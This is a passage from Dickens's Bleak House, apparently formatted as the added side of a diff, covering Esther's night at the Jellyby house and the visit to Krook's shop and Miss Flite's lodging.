+in the grate but ashes, a bundle of wood, and a poker), "you find me,
+my dears, as usual, very busy; but that you will excuse. The African
+project at present employs my whole time. It involves me in
+correspondence with public bodies and with private individuals
+anxious for the welfare of their species all over the country. I am
+happy to say it is advancing. We hope by this time next year to have
+from a hundred and fifty to two hundred healthy families cultivating
+coffee and educating the natives of Borrioboola-Gha, on the left bank
+of the Niger."
+
+As Ada said nothing, but looked at me, I said it must be very
+gratifying.
+
+"It IS gratifying," said Mrs. Jellyby. "It involves the devotion of
+all my energies, such as they are; but that is nothing, so that it
+succeeds; and I am more confident of success every day. Do you know,
+Miss Summerson, I almost wonder that YOU never turned your thoughts
+to Africa."
+
+This application of the subject was really so unexpected to me that I
+was quite at a loss how to receive it. I hinted that the climate--
+
+"The finest climate in the world!" said Mrs. Jellyby.
+
+"Indeed, ma'am?"
+
+"Certainly. With precaution," said Mrs. Jellyby. "You may go into
+Holborn, without precaution, and be run over. You may go into
+Holborn, with precaution, and never be run over. Just so with
+Africa."
+
+I said, "No doubt." I meant as to Holborn.
+
+"If you would like," said Mrs. Jellyby, putting a number of papers
+towards us, "to look over some remarks on that head, and on the
+general subject, which have been extensively circulated, while I
+finish a letter I am now dictating to my eldest daughter, who is my
+amanuensis--"
+
+The girl at the table left off biting her pen and made a return to
+our recognition, which was half bashful and half sulky.
+
+"--I shall then have finished for the present," proceeded Mrs.
+Jellyby with a sweet smile, "though my work is never done. Where are
+you, Caddy?"
+
+"'Presents her compliments to Mr. Swallow, and begs--'" said Caddy.
+
+"'And begs,'" said Mrs. Jellyby, dictating, "'to inform him, in
+reference to his letter of inquiry on the African project--' No,
+Peepy! Not on my account!"
+
+Peepy (so self-named) was the unfortunate child who had fallen
+downstairs, who now interrupted the correspondence by presenting
+himself, with a strip of plaster on his forehead, to exhibit his
+wounded knees, in which Ada and I did not know which to pity
+most--the bruises or the dirt. Mrs. Jellyby merely added, with the
+serene composure with which she said everything, "Go along, you
+naughty Peepy!" and fixed her fine eyes on Africa again.
+
+However, as she at once proceeded with her dictation, and as I
+interrupted nothing by doing it, I ventured quietly to stop poor
+Peepy as he was going out and to take him up to nurse. He looked very
+much astonished at it and at Ada's kissing him, but soon fell fast
+asleep in my arms, sobbing at longer and longer intervals, until he
+was quiet. I was so occupied with Peepy that I lost the letter in
+detail, though I derived such a general impression from it of the
+momentous importance of Africa, and the utter insignificance of all
+other places and things, that I felt quite ashamed to have thought so
+little about it.
+
+"Six o'clock!" said Mrs. Jellyby. "And our dinner hour is nominally
+(for we dine at all hours) five! Caddy, show Miss Clare and Miss
+Summerson their rooms. You will like to make some change, perhaps?
+You will excuse me, I know, being so much occupied. Oh, that very bad
+child! Pray put him down, Miss Summerson!"
+
+I begged permission to retain him, truly saying that he was not at
+all troublesome, and carried him upstairs and laid him on my bed. Ada
+and I had two upper rooms with a door of communication between. They
+were excessively bare and disorderly, and the curtain to my window
+was fastened up with a fork.
+
+"You would like some hot water, wouldn't you?" said Miss Jellyby,
+looking round for a jug with a handle to it, but looking in vain.
+
+"If it is not being troublesome," said we.
+
+"Oh, it's not the trouble," returned Miss Jellyby; "the question is,
+if there IS any."
+
+The evening was so very cold and the rooms had such a marshy smell
+that I must confess it was a little miserable, and Ada was half
+crying. We soon laughed, however, and were busily unpacking when Miss
+Jellyby came back to say that she was sorry there was no hot water,
+but they couldn't find the kettle, and the boiler was out of order.
+
+We begged her not to mention it and made all the haste we could to
+get down to the fire again. But all the little children had come up
+to the landing outside to look at the phenomenon of Peepy lying on my
+bed, and our attention was distracted by the constant apparition of
+noses and fingers in situations of danger between the hinges of the
+doors. It was impossible to shut the door of either room, for my
+lock, with no knob to it, looked as if it wanted to be wound up; and
+though the handle of Ada's went round and round with the greatest
+smoothness, it was attended with no effect whatever on the door.
+Therefore I proposed to the children that they should come in and be
+very good at my table, and I would tell them the story of Little Red
+Riding Hood while I dressed; which they did, and were as quiet as
+mice, including Peepy, who awoke opportunely before the appearance of
+the wolf.
+
+When we went downstairs we found a mug with "A Present from Tunbridge
+Wells" on it lighted up in the staircase window with a floating wick,
+and a young woman, with a swelled face bound up in a flannel bandage
+blowing the fire of the drawing-room (now connected by an open door
+with Mrs. Jellyby's room) and choking dreadfully. It smoked to that
+degree, in short, that we all sat coughing and crying with the
+windows open for half an hour, during which Mrs. Jellyby, with the
+same sweetness of temper, directed letters about Africa. Her being so
+employed was, I must say, a great relief to me, for Richard told us
+that he had washed his hands in a pie-dish and that they had found
+the kettle on his dressing-table, and he made Ada laugh so that they
+made me laugh in the most ridiculous manner.
+
+Soon after seven o'clock we went down to dinner, carefully, by Mrs.
+Jellyby's advice, for the stair-carpets, besides being very deficient
+in stair-wires, were so torn as to be absolute traps. We had a fine
+cod-fish, a piece of roast beef, a dish of cutlets, and a pudding; an
+excellent dinner, if it had had any cooking to speak of, but it was
+almost raw. The young woman with the flannel bandage waited, and
+dropped everything on the table wherever it happened to go, and never
+moved it again until she put it on the stairs. The person I had seen
+in pattens, who I suppose to have been the cook, frequently came and
+skirmished with her at the door, and there appeared to be ill will
+between them.
+
+All through dinner--which was long, in consequence of such accidents
+as the dish of potatoes being mislaid in the coal skuttle and the
+handle of the corkscrew coming off and striking the young woman in
+the chin--Mrs. Jellyby preserved the evenness of her disposition. She
+told us a great deal that was interesting about Borrioboola-Gha and
+the natives, and received so many letters that Richard, who sat by
+her, saw four envelopes in the gravy at once. Some of the letters
+were proceedings of ladies' committees or resolutions of ladies'
+meetings, which she read to us; others were applications from people
+excited in various ways about the cultivation of coffee, and natives;
+others required answers, and these she sent her eldest daughter from
+the table three or four times to write. She was full of business and
+undoubtedly was, as she had told us, devoted to the cause.
+
+I was a little curious to know who a mild bald gentleman in
+spectacles was, who dropped into a vacant chair (there was no top or
+bottom in particular) after the fish was taken away and seemed
+passively to submit himself to Borrioboola-Gha but not to be actively
+interested in that settlement. As he never spoke a word, he might
+have been a native but for his complexion. It was not until we left
+the table and he remained alone with Richard that the possibility of
+his being Mr. Jellyby ever entered my head. But he WAS Mr. Jellyby;
+and a loquacious young man called Mr. Quale, with large shining knobs
+for temples and his hair all brushed to the back of his head, who
+came in the evening, and told Ada he was a philanthropist, also
+informed her that he called the matrimonial alliance of Mrs. Jellyby
+with Mr. Jellyby the union of mind and matter.
+
+This young man, besides having a great deal to say for himself about
+Africa and a project of his for teaching the coffee colonists to
+teach the natives to turn piano-forte legs and establish an export
+trade, delighted in drawing Mrs. Jellyby out by saying, "I believe
+now, Mrs. Jellyby, you have received as many as from one hundred and
+fifty to two hundred letters respecting Africa in a single day, have
+you not?" or, "If my memory does not deceive me, Mrs. Jellyby, you
+once mentioned that you had sent off five thousand circulars from one
+post-office at one time?"--always repeating Mrs. Jellyby's answer to
+us like an interpreter. During the whole evening, Mr. Jellyby sat in
+a corner with his head against the wall as if he were subject to low
+spirits. It seemed that he had several times opened his mouth when
+alone with Richard after dinner, as if he had something on his mind,
+but had always shut it again, to Richard's extreme confusion, without
+saying anything.
+
+Mrs. Jellyby, sitting in quite a nest of waste paper, drank coffee
+all the evening and dictated at intervals to her eldest daughter. She
+also held a discussion with Mr. Quale, of which the subject seemed to
+be--if I understood it--the brotherhood of humanity, and gave
+utterance to some beautiful sentiments. I was not so attentive an
+auditor as I might have wished to be, however, for Peepy and the
+other children came flocking about Ada and me in a corner of the
+drawing-room to ask for another story; so we sat down among them and
+told them in whispers "Puss in Boots" and I don't know what else
+until Mrs. Jellyby, accidentally remembering them, sent them to bed.
+As Peepy cried for me to take him to bed, I carried him upstairs,
+where the young woman with the flannel bandage charged into the midst
+of the little family like a dragon and overturned them into cribs.
+
+After that I occupied myself in making our room a little tidy and in
+coaxing a very cross fire that had been lighted to burn, which at
+last it did, quite brightly. On my return downstairs, I felt that
+Mrs. Jellyby looked down upon me rather for being so frivolous, and I
+was sorry for it, though at the same time I knew that I had no higher
+pretensions.
+
+It was nearly midnight before we found an opportunity of going to
+bed, and even then we left Mrs. Jellyby among her papers drinking
+coffee and Miss Jellyby biting the feather of her pen.
+
+"What a strange house!" said Ada when we got upstairs. "How curious
+of my cousin Jarndyce to send us here!"
+
+"My love," said I, "it quite confuses me. I want to understand it,
+and I can't understand it at all."
+
+"What?" asked Ada with her pretty smile.
+
+"All this, my dear," said I. "It MUST be very good of Mrs. Jellyby to
+take such pains about a scheme for the benefit of natives--and
+yet--Peepy and the housekeeping!"
+
+Ada laughed and put her arm about my neck as I stood looking at the
+fire, and told me I was a quiet, dear, good creature and had won her
+heart. "You are so thoughtful, Esther," she said, "and yet so
+cheerful! And you do so much, so unpretendingly! You would make a
+home out of even this house."
+
+My simple darling! She was quite unconscious that she only praised
+herself and that it was in the goodness of her own heart that she
+made so much of me!
+
+"May I ask you a question?" said I when we had sat before the fire a
+little while.
+
+"Five hundred," said Ada.
+
+"Your cousin, Mr. Jarndyce. I owe so much to him. Would you mind
+describing him to me?"
+
+Shaking her golden hair, Ada turned her eyes upon me with such
+laughing wonder that I was full of wonder too, partly at her beauty,
+partly at her surprise.
+
+"Esther!" she cried.
+
+"My dear!"
+
+"You want a description of my cousin Jarndyce?"
+
+"My dear, I never saw him."
+
+"And I never saw him!" returned Ada.
+
+Well, to be sure!
+
+No, she had never seen him. Young as she was when her mama died, she
+remembered how the tears would come into her eyes when she spoke of
+him and of the noble generosity of his character, which she had said
+was to be trusted above all earthly things; and Ada trusted it. Her
+cousin Jarndyce had written to her a few months ago--"a plain, honest
+letter," Ada said--proposing the arrangement we were now to enter on
+and telling her that "in time it might heal some of the wounds made
+by the miserable Chancery suit." She had replied, gratefully
+accepting his proposal. Richard had received a similar letter and had
+made a similar response. He HAD seen Mr. Jarndyce once, but only
+once, five years ago, at Winchester school. He had told Ada, when
+they were leaning on the screen before the fire where I found them,
+that he recollected him as "a bluff, rosy fellow." This was the
+utmost description Ada could give me.
+
+It set me thinking so that when Ada was asleep, I still remained
+before the fire, wondering and wondering about Bleak House, and
+wondering and wondering that yesterday morning should seem so long
+ago. I don't know where my thoughts had wandered when they were
+recalled by a tap at the door.
+
+I opened it softly and found Miss Jellyby shivering there with a
+broken candle in a broken candlestick in one hand and an egg-cup in
+the other.
+
+"Good night!" she said very sulkily.
+
+"Good night!" said I.
+
+"May I come in?" she shortly and unexpectedly asked me in the same
+sulky way.
+
+"Certainly," said I. "Don't wake Miss Clare."
+
+She would not sit down, but stood by the fire dipping her inky middle
+finger in the egg-cup, which contained vinegar, and smearing it over
+the ink stains on her face, frowning the whole time and looking very
+gloomy.
+
+"I wish Africa was dead!" she said on a sudden.
+
+I was going to remonstrate.
+
+"I do!" she said "Don't talk to me, Miss Summerson. I hate it and
+detest it. It's a beast!"
+
+I told her she was tired, and I was sorry. I put my hand upon her
+head, and touched her forehead, and said it was hot now but would be
+cool to-morrow. She still stood pouting and frowning at me, but
+presently put down her egg-cup and turned softly towards the bed
+where Ada lay.
+
+"She is very pretty!" she said with the same knitted brow and in the
+same uncivil manner.
+
+I assented with a smile.
+
+"An orphan. Ain't she?"
+
+"Yes."
+
+"But knows a quantity, I suppose? Can dance, and play music, and
+sing? She can talk French, I suppose, and do geography, and globes,
+and needlework, and everything?"
+
+"No doubt," said I.
+
+"I can't," she returned. "I can't do anything hardly, except write.
+I'm always writing for Ma. I wonder you two were not ashamed of
+yourselves to come in this afternoon and see me able to do nothing
+else. It was like your ill nature. Yet you think yourselves very
+fine, I dare say!"
+
+I could see that the poor girl was near crying, and I resumed my
+chair without speaking and looked at her (I hope) as mildly as I felt
+towards her.
+
+"It's disgraceful," she said. "You know it is. The whole house is
+disgraceful. The children are disgraceful. I'M disgraceful. Pa's
+miserable, and no wonder! Priscilla drinks--she's always drinking.
+It's a great shame and a great story of you if you say you didn't
+smell her to-day. It was as bad as a public-house, waiting at dinner;
+you know it was!"
+
+"My dear, I don't know it," said I.
+
+"You do," she said very shortly. "You shan't say you don't. You do!"
+
+"Oh, my dear!" said I. "If you won't let me speak--"
+
+"You're speaking now. You know you are. Don't tell stories, Miss
+Summerson."
+
+"My dear," said I, "as long as you won't hear me out--"
+
+"I don't want to hear you out."
+
+"Oh, yes, I think you do," said I, "because that would be so very
+unreasonable. I did not know what you tell me because the servant did
+not come near me at dinner; but I don't doubt what you tell me, and I
+am sorry to hear it."
+
+"You needn't make a merit of that," said she.
+
+"No, my dear," said I. "That would be very foolish."
+
+She was still standing by the bed, and now stooped down (but still
+with the same discontented face) and kissed Ada. That done, she came
+softly back and stood by the side of my chair. Her bosom was heaving
+in a distressful manner that I greatly pitied, but I thought it
+better not to speak.
+
+"I wish I was dead!" she broke out. "I wish we were all dead. It
+would be a great deal better for us."
+
+In a moment afterwards, she knelt on the ground at my side, hid her
+face in my dress, passionately begged my pardon, and wept. I
+comforted her and would have raised her, but she cried no, no; she
+wanted to stay there!
+
+"You used to teach girls," she said, "If you could only have taught
+me, I could have learnt from you! I am so very miserable, and I like
+you so much!"
+
+I could not persuade her to sit by me or to do anything but move a
+ragged stool to where she was kneeling, and take that, and still hold
+my dress in the same manner. By degrees the poor tired girl fell
+asleep, and then I contrived to raise her head so that it should rest
+on my lap, and to cover us both with shawls. The fire went out, and
+all night long she slumbered thus before the ashy grate. At first I
+was painfully awake and vainly tried to lose myself, with my eyes
+closed, among the scenes of the day. At length, by slow degrees, they
+became indistinct and mingled. I began to lose the identity of the
+sleeper resting on me. Now it was Ada, now one of my old Reading
+friends from whom I could not believe I had so recently parted. Now
+it was the little mad woman worn out with curtsying and smiling, now
+some one in authority at Bleak House. Lastly, it was no one, and I
+was no one.
+
+The purblind day was feebly struggling with the fog when I opened my
+eyes to encounter those of a dirty-faced little spectre fixed upon
+me. Peepy had scaled his crib, and crept down in his bed-gown and
+cap, and was so cold that his teeth were chattering as if he had cut
+them all.
+
+
+
+
+CHAPTER V
+
+A Morning Adventure
+
+
+Although the morning was raw, and although the fog still seemed
+heavy--I say seemed, for the windows were so encrusted with dirt that
+they would have made midsummer sunshine dim--I was sufficiently
+forewarned of the discomfort within doors at that early hour and
+sufficiently curious about London to think it a good idea on the part
+of Miss Jellyby when she proposed that we should go out for a walk.
+
+"Ma won't be down for ever so long," she said, "and then it's a
+chance if breakfast's ready for an hour afterwards, they dawdle so.
+As to Pa, he gets what he can and goes to the office. He never has
+what you would call a regular breakfast. Priscilla leaves him out the
+loaf and some milk, when there is any, overnight. Sometimes there
+isn't any milk, and sometimes the cat drinks it. But I'm afraid you
+must be tired, Miss Summerson, and perhaps you would rather go to
+bed."
+
+"I am not at all tired, my dear," said I, "and would much prefer to
+go out."
+
+"If you're sure you would," returned Miss Jellyby, "I'll get my
+things on."
+
+Ada said she would go too, and was soon astir. I made a proposal to
+Peepy, in default of being able to do anything better for him, that
+he should let me wash him and afterwards lay him down on my bed
+again. To this he submitted with the best grace possible, staring at
+me during the whole operation as if he never had been, and never
+could again be, so astonished in his life--looking very miserable
+also, certainly, but making no complaint, and going snugly to sleep
+as soon as it was over. At first I was in two minds about taking such
+a liberty, but I soon reflected that nobody in the house was likely
+to notice it.
+
+What with the bustle of dispatching Peepy and the bustle of getting
+myself ready and helping Ada, I was soon quite in a glow. We found
+Miss Jellyby trying to warm herself at the fire in the writing-room,
+which Priscilla was then lighting with a smutty parlour candlestick,
+throwing the candle in to make it burn better. Everything was just as
+we had left it last night and was evidently intended to remain so.
+Below-stairs the dinner-cloth had not been taken away, but had been
+left ready for breakfast. Crumbs, dust, and waste-paper were all over
+the house. Some pewter pots and a milk-can hung on the area railings;
+the door stood open; and we met the cook round the corner coming out
+of a public-house, wiping her mouth. She mentioned, as she passed us,
+that she had been to see what o'clock it was.
+
+But before we met the cook, we met Richard, who was dancing up and
+down Thavies Inn to warm his feet. He was agreeably surprised to see
+us stirring so soon and said he would gladly share our walk. So he
+took care of Ada, and Miss Jellyby and I went first. I may mention
+that Miss Jellyby had relapsed into her sulky manner and that I
+really should not have thought she liked me much unless she had told
+me so.
+
+"Where would you wish to go?" she asked.
+
+"Anywhere, my dear," I replied.
+
+"Anywhere's nowhere," said Miss Jellyby, stopping perversely.
+
+"Let us go somewhere at any rate," said I.
+
+She then walked me on very fast.
+
+"I don't care!" she said. "Now, you are my witness, Miss Summerson, I
+say I don't care--but if he was to come to our house with his great,
+shining, lumpy forehead night after night till he was as old as
+Methuselah, I wouldn't have anything to say to him. Such ASSES as he
+and Ma make of themselves!"
+
+"My dear!" I remonstrated, in allusion to the epithet and the
+vigorous emphasis Miss Jellyby set upon it. "Your duty as a child--"
+
+"Oh! Don't talk of duty as a child, Miss Summerson; where's Ma's duty
+as a parent? All made over to the public and Africa, I suppose! Then
+let the public and Africa show duty as a child; it's much more their
+affair than mine. You are shocked, I dare say! Very well, so am I
+shocked too; so we are both shocked, and there's an end of it!"
+
+She walked me on faster yet.
+
+"But for all that, I say again, he may come, and come, and come, and
+I won't have anything to say to him. I can't bear him. If there's any
+stuff in the world that I hate and detest, it's the stuff he and Ma
+talk. I wonder the very paving-stones opposite our house can have the
+patience to stay there and be a witness of such inconsistencies and
+contradictions as all that sounding nonsense, and Ma's management!"
+
+I could not but understand her to refer to Mr. Quale, the young
+gentleman who had appeared after dinner yesterday. I was saved the
+disagreeable necessity of pursuing the subject by Richard and Ada
+coming up at a round pace, laughing and asking us if we meant to run
+a race. Thus interrupted, Miss Jellyby became silent and walked
+moodily on at my side while I admired the long successions and
+varieties of streets, the quantity of people already going to and
+fro, the number of vehicles passing and repassing, the busy
+preparations in the setting forth of shop windows and the sweeping
+out of shops, and the extraordinary creatures in rags secretly
+groping among the swept-out rubbish for pins and other refuse.
+
+"So, cousin," said the cheerful voice of Richard to Ada behind me.
+"We are never to get out of Chancery! We have come by another way to
+our place of meeting yesterday, and--by the Great Seal, here's the
+old lady again!"
+
+Truly, there she was, immediately in front of us, curtsying, and
+smiling, and saying with her yesterday's air of patronage, "The wards
+in Jarndyce! Ve-ry happy, I am sure!"
+
+"You are out early, ma'am," said I as she curtsied to me.
+
+"Ye-es! I usually walk here early. Before the court sits. It's
+retired. I collect my thoughts here for the business of the day,"
+said the old lady mincingly. "The business of the day requires a
+great deal of thought. Chancery justice is so ve-ry difficult to
+follow."
+
+"Who's this, Miss Summerson?" whispered Miss Jellyby, drawing my arm
+tighter through her own.
+
+The little old lady's hearing was remarkably quick. She answered for
+herself directly.
+
+"A suitor, my child. At your service. I have the honour to attend
+court regularly. With my documents. Have I the pleasure of addressing
+another of the youthful parties in Jarndyce?" said the old lady,
+recovering herself, with her head on one side, from a very low
+curtsy.
+
+Richard, anxious to atone for his thoughtlessness of yesterday,
+good-naturedly explained that Miss Jellyby was not connected with the
+suit.
+
+"Ha!" said the old lady. "She does not expect a judgment? She will
+still grow old. But not so old. Oh, dear, no! This is the garden of
+Lincoln's Inn. I call it my garden. It is quite a bower in the
+summer-time. Where the birds sing melodiously. I pass the greater
+part of the long vacation here. In contemplation. You find the long
+vacation exceedingly long, don't you?"
+
+We said yes, as she seemed to expect us to say so.
+
+"When the leaves are falling from the trees and there are no more
+flowers in bloom to make up into nosegays for the Lord Chancellor's
+court," said the old lady, "the vacation is fulfilled and the sixth
+seal, mentioned in the Revelations, again prevails. Pray come and see
+my lodging. It will be a good omen for me. Youth, and hope, and
+beauty are very seldom there. It is a long, long time since I had a
+visit from either."
+
+She had taken my hand, and leading me and Miss Jellyby away, beckoned
+Richard and Ada to come too. I did not know how to excuse myself and
+looked to Richard for aid. As he was half amused and half curious and
+all in doubt how to get rid of the old lady without offence, she
+continued to lead us away, and he and Ada continued to follow, our
+strange conductress informing us all the time, with much smiling
+condescension, that she lived close by.
+
+It was quite true, as it soon appeared. She lived so close by that we
+had not time to have done humouring her for a few moments before she
+was at home. Slipping us out at a little side gate, the old lady
+stopped most unexpectedly in a narrow back street, part of some
+courts and lanes immediately outside the wall of the inn, and said,
+"This is my lodging. Pray walk up!"
+
+She had stopped at a shop over which was written KROOK, RAG AND
+BOTTLE WAREHOUSE. Also, in long thin letters, KROOK, DEALER IN MARINE
+STORES. In one part of the window was a picture of a red paper mill
+at which a cart was unloading a quantity of sacks of old rags. In
+another was the inscription BONES BOUGHT. In another, KITCHEN-STUFF
+BOUGHT. In another, OLD IRON BOUGHT. In another, WASTE-PAPER BOUGHT.
+In another, LADIES' AND GENTLEMEN'S WARDROBES BOUGHT. Everything
+seemed to be bought and nothing to be sold there. In all parts of the
+window were quantities of dirty bottles--blacking bottles, medicine
+bottles, ginger-beer and soda-water bottles, pickle bottles, wine
+bottles, ink bottles; I am reminded by mentioning the latter that the
+shop had in several little particulars the air of being in a legal
+neighbourhood and of being, as it were, a dirty hanger-on and
+disowned relation of the law. There were a great many ink bottles.
+There was a little tottering bench of shabby old volumes outside the
+door, labelled "Law Books, all at 9d." Some of the inscriptions I
+have enumerated were written in law-hand, like the papers I had seen
+in Kenge and Carboy's office and the letters I had so long received
+from the firm. Among them was one, in the same writing, having
+nothing to do with the business of the shop, but announcing that a
+respectable man aged forty-five wanted engrossing or copying to
+execute with neatness and dispatch: Address to Nemo, care of Mr.
+Krook, within. There were several second-hand bags, blue and red,
+hanging up. A little way within the shop-door lay heaps of old
+crackled parchment scrolls and discoloured and dog's-eared
+law-papers. I could have fancied that all the rusty keys, of which
+there must have been hundreds huddled together as old iron, had once
+belonged to doors of rooms or strong chests in lawyers' offices. The
+litter of rags tumbled partly into and partly out of a one-legged
+wooden scale, hanging without any counterpoise from a beam, might
+have been counsellors' bands and gowns torn up. One had only to
+fancy, as Richard whispered to Ada and me while we all stood looking
+in, that yonder bones in a corner, piled together and picked very
+clean, were the bones of clients, to make the picture complete.
+
+As it was still foggy and dark, and as the shop was blinded besides
+by the wall of Lincoln's Inn, intercepting the light within a couple
+of yards, we should not have seen so much but for a lighted lantern
+that an old man in spectacles and a hairy cap was carrying about in
+the shop. Turning towards the door, he now caught sight of us. He was
+short, cadaverous, and withered, with his head sunk sideways between
+his shoulders and the breath issuing in visible smoke from his mouth
+as if he were on fire within. His throat, chin, and eyebrows were so
+frosted with white hairs and so gnarled with veins and puckered skin
+that he looked from his breast upward like some old root in a fall of
+snow.
+
+"Hi, hi!" said the old man, coming to the door. "Have you anything to
+sell?"
+
+We naturally drew back and glanced at our conductress, who had been
+trying to open the house-door with a key she had taken from her
+pocket, and to whom Richard now said that as we had had the pleasure
+of seeing where she lived, we would leave her, being pressed for
+time. But she was not to be so easily left. She became so
+fantastically and pressingly earnest in her entreaties that we would
+walk up and see her apartment for an instant, and was so bent, in her
+harmless way, on leading me in, as part of the good omen she desired,
+that I (whatever the others might do) saw nothing for it but to
+comply. I suppose we were all more or less curious; at any rate, when
+the old man added his persuasions to hers and said, "Aye, aye! Please
+her! It won't take a minute! Come in, come in! Come in through the
+shop if t'other door's out of order!" we all went in, stimulated by
+Richard's laughing encouragement and relying on his protection.
+
+"My landlord, Krook," said the little old lady, condescending to him
+from her lofty station as she presented him to us. "He is called
+among the neighbours the Lord Chancellor. His shop is called the
+Court of Chancery. He is a very eccentric person. He is very odd. Oh,
+I assure you he is very odd!"
+
+She shook her head a great many times and tapped her forehead with
+her finger to express to us that we must have the goodness to excuse
+him, "For he is a little--you know--M!" said the old lady with great
+stateliness. The old man overheard, and laughed.
+
+"It's true enough," he said, going before us with the lantern, "that
+they call me the Lord Chancellor and call my shop Chancery. And why
+do you think they call me the Lord Chancellor and my shop Chancery?"
+
+"I don't know, I am sure!" said Richard rather carelessly.
+
+"You see," said the old man, stopping and turning round, "they--Hi!
+Here's lovely hair! I have got three sacks of ladies' hair below, but
+none so beautiful and fine as this. What colour, and what texture!"
+
+"That'll do, my good friend!" said Richard, strongly disapproving of
+his having drawn one of Ada's tresses through his yellow hand. "You
+can admire as the rest of us do without taking that liberty."
+
+The old man darted at him a sudden look which even called my
+attention from Ada, who, startled and blushing, was so remarkably
+beautiful that she seemed to fix the wandering attention of the
+little old lady herself. But as Ada interposed and laughingly said
+she could only feel proud of such genuine admiration, Mr. Krook
+shrunk into his former self as suddenly as he had leaped out of it.
+
+"You see, I have so many things here," he resumed, holding up the
+lantern, "of so many kinds, and all as the neighbours think (but THEY
+know nothing), wasting away and going to rack and ruin, that that's
+why they have given me and my place a christening. And I have so many
+old parchmentses and papers in my stock. And I have a liking for rust
+and must and cobwebs. And all's fish that comes to my net. And I
+can't abear to part with anything I once lay hold of (or so my
+neighbours think, but what do THEY know?) or to alter anything, or to
+have any sweeping, nor scouring, nor cleaning, nor repairing going on
+about me. That's the way I've got the ill name of Chancery. I don't
+mind. I go to see my noble and learned brother pretty well every day,
+when he sits in the Inn. He don't notice me, but I notice him.
+There's no great odds betwixt us. We both grub on in a muddle. Hi,
+Lady Jane!"
+
+A large grey cat leaped from some neighbouring shelf on his shoulder
+and startled us all.
+
+"Hi! Show 'em how you scratch. Hi! Tear, my lady!" said her master.
+
+The cat leaped down and ripped at a bundle of rags with her tigerish
+claws, with a sound that it set my teeth on edge to hear.
+
+"She'd do as much for any one I was to set her on," said the old man.
+"I deal in cat-skins among other general matters, and hers was
+offered to me. It's a very fine skin, as you may see, but I didn't
+have it stripped off! THAT warn't like Chancery practice though, says
+you!"
+
+He had by this time led us across the shop, and now opened a door in
+the back part of it, leading to the house-entry. As he stood with his
+hand upon the lock, the little old lady graciously observed to him
+before passing out, "That will do, Krook. You mean well, but are
+tiresome. My young friends are pressed for time. I have none to spare
+myself, having to attend court very soon. My young friends are the
+wards in Jarndyce."
+
+"Jarndyce!" said the old man with a start.
+
+"Jarndyce and Jarndyce. The great suit, Krook," returned his lodger.
+
+"Hi!" exclaimed the old man in a tone of thoughtful amazement and
+with a wider stare than before. "Think of it!"
+
+He seemed so rapt all in a moment and looked so curiously at us that
+Richard said, "Why, you appear to trouble yourself a good deal about
+the causes before your noble and learned brother, the other
+Chancellor!"
+
+"Yes," said the old man abstractedly. "Sure! YOUR name now will be--"
+
+"Richard Carstone."
+
+"Carstone," he repeated, slowly checking off that name upon his
+forefinger; and each of the others he went on to mention upon a
+separate finger. "Yes. There was the name of Barbary, and the name of
+Clare, and the name of Dedlock, too, I think."
+
+"He knows as much of the cause as the real salaried Chancellor!" said
+Richard, quite astonished, to Ada and me.
+
+"Aye!" said the old man, coming slowly out of his abstraction. "Yes!
+Tom Jarndyce--you'll excuse me, being related; but he was never known
+about court by any other name, and was as well known there as--she is
+now," nodding slightly at his lodger. "Tom Jarndyce was often in
+here. He got into a restless habit of strolling about when the cause
+was on, or expected, talking to the little shopkeepers and telling
+'em to keep out of Chancery, whatever they did. 'For,' says he, 'it's
+being ground to bits in a slow mill; it's being roasted at a slow
+fire; it's being stung to death by single bees; it's being drowned by
+drops; it's going mad by grains.' He was as near making away with
+himself, just where the young lady stands, as near could be."
+
+We listened with horror.
+
+"He come in at the door," said the old man, slowly pointing an
+imaginary track along the shop, "on the day he did it--the whole
+neighbourhood had said for months before that he would do it, of a
+certainty sooner or later--he come in at the door that day, and
+walked along there, and sat himself on a bench that stood there, and
+asked me (you'll judge I was a mortal sight younger then) to fetch
+him a pint of wine. 'For,' says he, 'Krook, I am much depressed; my
+cause is on again, and I think I'm nearer judgment than I ever was.'
+I hadn't a mind to leave him alone; and I persuaded him to go to the
+tavern over the way there, t'other side my lane (I mean Chancery
+Lane); and I followed and looked in at the window, and saw him,
+comfortable as I thought, in the arm-chair by the fire, and company
+with him. I hadn't hardly got back here when I heard a shot go
+echoing and rattling right away into the inn. I ran out--neighbours
+ran out--twenty of us cried at once, 'Tom Jarndyce!'"
+
+The old man stopped, looked hard at us, looked down into the lantern,
+blew the light out, and shut the lantern up.
+
+"We were right, I needn't tell the present hearers. Hi! To be sure,
+how the neighbourhood poured into court that afternoon while the
+cause was on! How my noble and learned brother, and all the rest of
+'em, grubbed and muddled away as usual and tried to look as if they
+hadn't heard a word of the last fact in the case or as if they
+had--Oh, dear me!--nothing at all to do with it if they had heard of
+it by any chance!"
+
+Ada's colour had entirely left her, and Richard was scarcely less
+pale. Nor could I wonder, judging even from my emotions, and I was no
+party in the suit, that to hearts so untried and fresh it was a shock
+to come into the inheritance of a protracted misery, attended in the
+minds of many people with such dreadful recollections. I had another
+uneasiness, in the application of the painful story to the poor
+half-witted creature who had brought us there; but, to my surprise,
+she seemed perfectly unconscious of that and only led the way
+upstairs again, informing us with the toleration of a superior
+creature for the infirmities of a common mortal that her landlord was
+"a little M, you know!"
+
+She lived at the top of the house, in a pretty large room, from which
+she had a glimpse of Lincoln's Inn Hall. This seemed to have been her
+principal inducement, originally, for taking up her residence there.
+She could look at it, she said, in the night, especially in the
+moonshine. Her room was clean, but very, very bare. I noticed the
+scantiest necessaries in the way of furniture; a few old prints from
+books, of Chancellors and barristers, wafered against the wall; and
+some half-dozen reticles and work-bags, "containing documents," as
+she informed us. There were neither coals nor ashes in the grate, and
+I saw no articles of clothing anywhere, nor any kind of food. Upon a
+shelf in an open cupboard were a plate or two, a cup or two, and so
+forth, but all dry and empty. There was a more affecting meaning in
+her pinched appearance, I thought as I looked round, than I had
+understood before.
+
+"Extremely honoured, I am sure," said our poor hostess with the
+greatest suavity, "by this visit from the wards in Jarndyce. And very
+much indebted for the omen. It is a retired situation. Considering. I
+am limited as to situation. In consequence of the necessity of
+attending on the Chancellor. I have lived here many years. I pass my
+days in court, my evenings and my nights here. I find the nights
+long, for I sleep but little and think much. That is, of course,
+unavoidable, being in Chancery. I am sorry I cannot offer chocolate.
+I expect a judgment shortly and shall then place my establishment on
+a superior footing. At present, I don't mind confessing to the wards
+in Jarndyce (in strict confidence) that I sometimes find it difficult
+to keep up a genteel appearance. I have felt the cold here. I have
+felt something sharper than cold. It matters very little. Pray excuse
+the introduction of such mean topics."
+
+She partly drew aside the curtain of the long, low garret window and
+called our attention to a number of bird-cages hanging there, some
+containing several birds. There were larks, linnets, and
+goldfinches--I should think at least twenty.
+
